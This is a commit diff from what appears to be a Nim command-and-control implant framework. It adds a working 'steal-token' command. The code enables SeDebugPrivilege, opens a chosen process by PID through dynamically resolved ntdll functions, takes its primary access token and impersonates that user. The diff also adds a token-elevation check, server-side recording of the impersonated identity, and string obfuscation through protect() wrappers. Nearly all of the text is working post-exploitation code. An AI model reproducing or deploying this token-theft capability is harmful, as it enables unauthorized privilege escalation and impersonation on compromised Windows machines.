Implemented 'steal-token' command.
This commit is contained in:
@@ -23,6 +23,7 @@ type
|
|||||||
NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||||
NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.}
|
NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.}
|
||||||
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
|
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
|
||||||
|
NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}
|
||||||
|
|
||||||
Apis = object
|
Apis = object
|
||||||
NtOpenProcessToken: NtOpenProcessToken
|
NtOpenProcessToken: NtOpenProcessToken
|
||||||
@@ -31,8 +32,9 @@ type
|
|||||||
ConvertSidToSTringSidA: ConvertSidToSTringSidA
|
ConvertSidToSTringSidA: ConvertSidToSTringSidA
|
||||||
NtSetInformationThread: NtSetInformationThread
|
NtSetInformationThread: NtSetInformationThread
|
||||||
NtDuplicateToken: NtDuplicateToken
|
NtDuplicateToken: NtDuplicateToken
|
||||||
NtAdjustPrivilegesToken: NtAdjustPrivilegesToken
|
|
||||||
NtClose: NtClose
|
NtClose: NtClose
|
||||||
|
NtAdjustPrivilegesToken: NtAdjustPrivilegesToken
|
||||||
|
NtOpenProcess: NtOpenProcess
|
||||||
|
|
||||||
proc initApis(): Apis =
|
proc initApis(): Apis =
|
||||||
let hNtdll = GetModuleHandleA(protect("ntdll"))
|
let hNtdll = GetModuleHandleA(protect("ntdll"))
|
||||||
@@ -45,7 +47,7 @@ proc initApis(): Apis =
|
|||||||
result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken")))
|
result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken")))
|
||||||
result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose")))
|
result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose")))
|
||||||
result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken")))
|
result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken")))
|
||||||
|
result.NtOpenProcess = cast[NtOpenProcess](GetProcAddress(hNtdll, protect("NtOpenProcess")))
|
||||||
|
|
||||||
const
|
const
|
||||||
CURRENT_PROCESS = cast[HANDLE](-1)
|
CURRENT_PROCESS = cast[HANDLE](-1)
|
||||||
@@ -138,6 +140,18 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
|
|||||||
|
|
||||||
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
||||||
|
|
||||||
|
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
||||||
|
var
|
||||||
|
status: NTSTATUS = 0
|
||||||
|
returnLength: ULONG = 0
|
||||||
|
pElevation: TOKEN_ELEVATION
|
||||||
|
|
||||||
|
status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Elevation ") & $status.toHex())
|
||||||
|
|
||||||
|
return cast[bool](pElevation.TokenIsElevated)
|
||||||
|
|
||||||
proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
@@ -199,12 +213,15 @@ proc getTokenInfo*(hToken: HANDLE): string =
|
|||||||
let apis = initApis()
|
let apis = initApis()
|
||||||
|
|
||||||
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
|
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
|
||||||
result &= fmt"TokenID: 0x{tokenId}" & "\n"
|
result &= fmt"TokenID: 0x{tokenId}" & "\n"
|
||||||
result &= fmt"Type: {tokenType}" & "\n"
|
result &= fmt"Type: {tokenType}" & "\n"
|
||||||
|
|
||||||
let (username, sid) = apis.getTokenUser(hToken)
|
let (username, sid) = apis.getTokenUser(hToken)
|
||||||
result &= fmt"User: {username}" & "\n"
|
result &= fmt"User: {username}" & "\n"
|
||||||
result &= fmt"SID: {sid}" & "\n"
|
result &= fmt"SID: {sid}" & "\n"
|
||||||
|
|
||||||
|
let isElevated = apis.getTokenElevation(hToken)
|
||||||
|
result &= fmt"Elevated: {$isElevated}" & "\n"
|
||||||
|
|
||||||
result &= apis.getTokenGroups(hToken )
|
result &= apis.getTokenGroups(hToken )
|
||||||
result &= apis.getTokenPrivileges(hToken)
|
result &= apis.getTokenPrivileges(hToken)
|
||||||
@@ -292,14 +309,11 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
|
|||||||
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, $GetLastError())
|
||||||
defer: discard apis.NtClose(hToken)
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
apis.impersonate(hToken)
|
apis.impersonate(hToken)
|
||||||
|
|
||||||
return apis.getTokenUser(hToken).username
|
return apis.getTokenUser(hToken).username
|
||||||
|
|
||||||
proc stealToken*(pid: int): bool =
|
|
||||||
discard
|
|
||||||
|
|
||||||
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
||||||
|
|
||||||
let apis = initApis()
|
let apis = initApis()
|
||||||
@@ -327,4 +341,42 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
|||||||
raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex())
|
raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex())
|
||||||
|
|
||||||
let action = if enable: protect("Enabled") else: protect("Disabled")
|
let action = if enable: protect("Enabled") else: protect("Disabled")
|
||||||
return fmt"{action} {apis.privilegeToString(addr luid)}."
|
return fmt"{action} {apis.privilegeToString(addr luid)}."
|
||||||
|
|
||||||
|
#[
|
||||||
|
Steal the access token of a remote process
|
||||||
|
]#
|
||||||
|
proc stealToken*(pid: int): string =
|
||||||
|
|
||||||
|
let apis = initApis()
|
||||||
|
|
||||||
|
var
|
||||||
|
status: NTSTATUS
|
||||||
|
hProcess: HANDLE
|
||||||
|
hToken: HANDLE
|
||||||
|
clientId: CLIENT_ID
|
||||||
|
oa: OBJECT_ATTRIBUTES
|
||||||
|
|
||||||
|
# Enable the SeDebugPrivilege in the current token
|
||||||
|
# This privilege is required in order to duplicate and impersonate the access token of a remote process
|
||||||
|
discard enablePrivilege(protect("SeDebugPrivilege"))
|
||||||
|
|
||||||
|
InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
|
||||||
|
clientId.UniqueProcess = cast[HANDLE](pid)
|
||||||
|
clientId.UniqueThread = 0
|
||||||
|
|
||||||
|
# Open a handle to the target process
|
||||||
|
status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, protect("NtOpenProcess ") & $status.toHex())
|
||||||
|
defer: discard apis.NtClose(hProcess)
|
||||||
|
|
||||||
|
# Open a handle to the primary access token of the target process
|
||||||
|
status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
|
||||||
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
|
apis.impersonate(hToken)
|
||||||
|
|
||||||
|
return apis.getTokenUser(hToken).username
|
||||||
@@ -2,6 +2,7 @@ import ../common/[types, utils]
|
|||||||
|
|
||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult
|
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult
|
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult
|
||||||
@@ -26,6 +27,16 @@ let module* = Module(
|
|||||||
],
|
],
|
||||||
execute: executeMakeToken
|
execute: executeMakeToken
|
||||||
),
|
),
|
||||||
|
Command(
|
||||||
|
name: protect("steal-token"),
|
||||||
|
commandType: CMD_STEAL_TOKEN,
|
||||||
|
description: protect("Steal the primary access token of a remote process."),
|
||||||
|
example: protect("steal-token 1234"),
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: protect("pid"), description: protect("Process ID of the target process."), argumentType: INT, isRequired: true),
|
||||||
|
],
|
||||||
|
execute: executeStealToken
|
||||||
|
),
|
||||||
Command(
|
Command(
|
||||||
name: protect("rev2self"),
|
name: protect("rev2self"),
|
||||||
commandType: CMD_REV2SELF,
|
commandType: CMD_REV2SELF,
|
||||||
@@ -68,6 +79,7 @@ let module* = Module(
|
|||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when not defined(agent):
|
when not defined(agent):
|
||||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil
|
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil
|
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil
|
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil
|
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
@@ -84,7 +96,6 @@ when defined(agent):
|
|||||||
try:
|
try:
|
||||||
echo fmt" [>] Creating access token from username and password."
|
echo fmt" [>] Creating access token from username and password."
|
||||||
|
|
||||||
var success: bool
|
|
||||||
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
|
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
|
||||||
var
|
var
|
||||||
username = Bytes.toString(task.args[0].data)
|
username = Bytes.toString(task.args[0].data)
|
||||||
@@ -106,6 +117,18 @@ when defined(agent):
|
|||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|
||||||
|
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
try:
|
||||||
|
echo fmt" [>] Stealing access token."
|
||||||
|
|
||||||
|
let pid = int(Bytes.toUint32(task.args[0].data))
|
||||||
|
let username = stealToken(pid)
|
||||||
|
|
||||||
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|
||||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
|
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
try:
|
try:
|
||||||
echo fmt" [>] Reverting access token."
|
echo fmt" [>] Reverting access token."
|
||||||
|
|||||||
@@ -102,8 +102,8 @@ proc handleResult*(resultData: seq[byte]) =
|
|||||||
|
|
||||||
# Handle additional actions or UI-events based on command type (only when command succeeded)
|
# Handle additional actions or UI-events based on command type (only when command succeeded)
|
||||||
case cast[CommandType](taskResult.command):
|
case cast[CommandType](taskResult.command):
|
||||||
of CMD_MAKE_TOKEN:
|
of CMD_MAKE_TOKEN, CMD_STEAL_TOKEN:
|
||||||
let impersonationToken: string = Bytes.toString(taskResult.data).split(" ")[1][0..^2] # Remove trailing '.' character from the domain\username string
|
let impersonationToken: string = Bytes.toString(taskResult.data).split(" ", 1)[1..^1].join(" ")[0..^2] # Remove trailing '.' character from the domain\username string
|
||||||
if cq.dbUpdateTokenImpersonation(agentId, impersonationToken):
|
if cq.dbUpdateTokenImpersonation(agentId, impersonationToken):
|
||||||
cq.agents[agentId].impersonationToken = impersonationToken
|
cq.agents[agentId].impersonationToken = impersonationToken
|
||||||
cq.client.sendImpersonateToken(agentId, impersonationToken)
|
cq.client.sendImpersonateToken(agentId, impersonationToken)
|
||||||
|
|||||||
Reference in New Issue
Block a user